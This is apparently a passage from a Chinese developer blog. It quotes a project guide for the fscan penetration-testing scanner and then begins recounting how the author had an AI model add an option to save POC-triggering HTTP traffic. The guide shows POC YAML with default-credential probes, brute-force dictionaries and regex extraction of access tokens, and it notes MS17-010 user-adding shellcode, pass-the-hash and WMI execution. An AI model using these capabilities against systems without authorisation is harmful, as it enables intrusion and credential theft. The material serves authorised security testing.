&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;sets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# 爆破字典（可选）&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;user&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;user&amp;#34;:&amp;#34;{{user}}&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;search&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;token&amp;#34;:&amp;#34;(?P&amp;lt;token&amp;gt;.*?)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# 命名捕获组&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;success&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### search 字段：正则提取并展示关键变量（本项目扩展）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;原版 xray 格式的 &lt;span class="sb"&gt;`search`&lt;/span&gt; 字段仅用于提取命名捕获组并注入到后续 rule 的变量替换中。本项目在此基础上扩展：**所有命名捕获组的值会在 POC 命中时一并打印到输出**，适用于提取 accessToken、凭据、版本号等敏感信息。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**语法**&lt;/span&gt;：在任意 rule 中添加 &lt;span class="sb"&gt;`search`&lt;/span&gt; 字段，使用 Python 风格的命名捕获组 &lt;span class="sb"&gt;`(?P&amp;lt;name&amp;gt;...)`&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-example-with-extraction&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;http&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/auth&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;search&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;accessToken&amp;#34;:&amp;#34;(?P&amp;lt;accessToken&amp;gt;[^&amp;#34;]+)&amp;#34;.*?&amp;#34;username&amp;#34;:&amp;#34;(?P&amp;lt;username&amp;gt;[^&amp;#34;]+)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;accessToken&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;命中时输出格式：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.0.0.1:8848 poc-yaml-example-with-extraction
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * accessToken: eyJhbGc...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * username: nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**说明**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`search`&lt;/span&gt; 匹配范围为 &lt;span class="sb"&gt;`响应头 + 响应体`&lt;/span&gt; 的拼接字符串
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 多个 rule 中的 &lt;span class="sb"&gt;`search`&lt;/span&gt; 均会被收集，后续 rule 提取的变量会覆盖同名变量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 提取的变量同时注入 &lt;span class="sb"&gt;`variableMap`&lt;/span&gt;，可在后续 rule 中通过 &lt;span class="sb"&gt;`{{varName}}`&lt;/span&gt; 引用
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; key 按字母序排列输出，空 key（未命名组）自动忽略
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 实现位置：&lt;span class="sb"&gt;`WebScan/lib/check.go`&lt;/span&gt;，函数 &lt;span class="sb"&gt;`executePoc`&lt;/span&gt; 和 &lt;span class="sb"&gt;`CheckMultiPoc`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### 特殊机制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Shiro POC 默认测试 10 个 key（&lt;span class="sb"&gt;`-full`&lt;/span&gt; 测试 100 个），位置：lib/check.go:283
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; DNSLog 支持使用 ceye.io，需 &lt;span class="sb"&gt;`-dns`&lt;/span&gt; 参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 基于指纹的智能过滤减少无效请求
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 常见开发模式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 添加新的服务插件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 创建 &lt;span class="sb"&gt;`Plugins/newservice.go`&lt;/span&gt;，函数签名为：&lt;span class="sb"&gt;`func NewServiceScan(info *common.HostInfo)`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 在 &lt;span class="sb"&gt;`Plugins/base.go`&lt;/span&gt; 的 PluginList 中注册：&lt;span class="sb"&gt;`&amp;#34;PORT&amp;#34;: NewServiceScan`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; 在 &lt;span class="sb"&gt;`common/config.go`&lt;/span&gt; 的 PORTList 和 PortGroup 中添加默认端口
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; 如适用，在 &lt;span class="sb"&gt;`Userdict`&lt;/span&gt; 中添加默认凭据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 添加新的 POC
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在 &lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt; 目录中放置 YAML 文件。示例结构：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;http&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/vulnerable/path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#39;marker&amp;#39;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;**注意**：POC YAML 文件通过 `//go:embed pocs` 在**编译期**嵌入二进制。新增或修改 POC 后，必须重新编译才能生效：
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ge"&gt;&amp;gt; ```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;go build -ldflags=&amp;#34;-s -w&amp;#34; -trimpath -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ge"&gt;&amp;gt; 如需在不重新编译的情况下临时加载外部 POC，可使用 `-pocpath &amp;lt;目录&amp;gt;` 参数从文件系统加载。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 错误处理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 大多数函数使用 &lt;span class="sb"&gt;`defer recover()`&lt;/span&gt; 捕获 panic
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 通过 &lt;span class="sb"&gt;`common.LogError()`&lt;/span&gt; 和 &lt;span class="sb"&gt;`common.LogSuccess()`&lt;/span&gt; 记录错误
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 静默模式（&lt;span class="sb"&gt;`-silent`&lt;/span&gt;）抑制实时输出，用于自动化工具
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 关键全局变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.Threads`&lt;/span&gt;：并发扫描线程数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.Timeout`&lt;/span&gt;：TCP 连接超时（默认：3秒）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.WebTimeout`&lt;/span&gt;：HTTP 请求超时（默认：5秒）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.NoPing`&lt;/span&gt;：跳过 ICMP 主机发现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.NoPoc`&lt;/span&gt;：跳过 Web 漏洞扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`common.IsBrute`&lt;/span&gt;：跳过密码爆破
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 值得注意的实现细节
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **IP 解析**：支持 /8 范围的智能采样（扫描每个 C 段的 .1 和 .254，加上随机 IP）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **ICMP 实现**：使用原始套接字和自定义 ICMP 数据包构造（在 Linux/Windows 上需要 root/管理员权限）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **密码爆破**：默认串行；使用 &lt;span class="sb"&gt;`-br N`&lt;/span&gt; 进行并发尝试（注意账户锁定）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **MS17-010 利用**：内置 shellcode 生成用于添加用户（&lt;span class="sb"&gt;`-sc add`&lt;/span&gt;），但 README 推荐使用专用工具
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **代理支持**：HTTP 代理（&lt;span class="sb"&gt;`-proxy`&lt;/span&gt;）用于 Web 扫描；SOCKS5（&lt;span class="sb"&gt;`-socks5`&lt;/span&gt;）用于 TCP 连接（并非所有模块都支持）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **哈希认证**：支持 SMB 的 pass-the-hash（&lt;span class="sb"&gt;`-hash`&lt;/span&gt;）和 WMI 执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 安全和授权上下文
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;此工具专为经授权的渗透测试和安全评估而设计。README 包含了全面的免责声明，要求在使用前获得合法授权。修改漏洞利用模块（ms17010-exp.go 等）时，请确保更改符合道德使用约束。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;h3 id="通过参数保存-http-请求包和响应包"&gt;通过参数保存 http 请求包和响应包
&lt;/h3&gt;&lt;p&gt;这里的功能感觉不是很复杂，并且架构相关内容已经被 Claude Sonnet 4.6 理清楚了，换了个便宜且快的模型 MiniMax-M2.5 &lt;del&gt;(其实是 Claude 用到限流了)&lt;/del&gt;。因为只有 10B，平时用起来响应真的快。&lt;/p&gt;
&lt;p&gt;先检查了一下文档，发现似乎好像有一些关于输出系统的描述。如果已经有这个功能的话，就不要重复实现了，记录一下怎么用就行。让 M2.5 帮我先查一下。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;检查 &lt;a class="link" href="https://fscan.club/#/docs" target="_blank" rel="noopener"
&gt;https://fscan.club/#/docs&lt;/a&gt; 和 fscan &amp;ndash;help 中关于输出系统的描述，确认其中将 http
请求响应包保存为文件的描述。如果不存在此功能，请参考分类输出，使用类似的参数风格，新增命令行参数，允许用户保存 poc 触发时所使用的 http 请求响应，注意并不是保存所有扫描的 http 请求响应。之后启动一个 python 服务，编写测试用 poc-yaml，测试该参数。在一切确认完成之后，在 CLAUDE.md 中精简描述新增的这一功能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;POC 请求响应保存功能实现计划&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
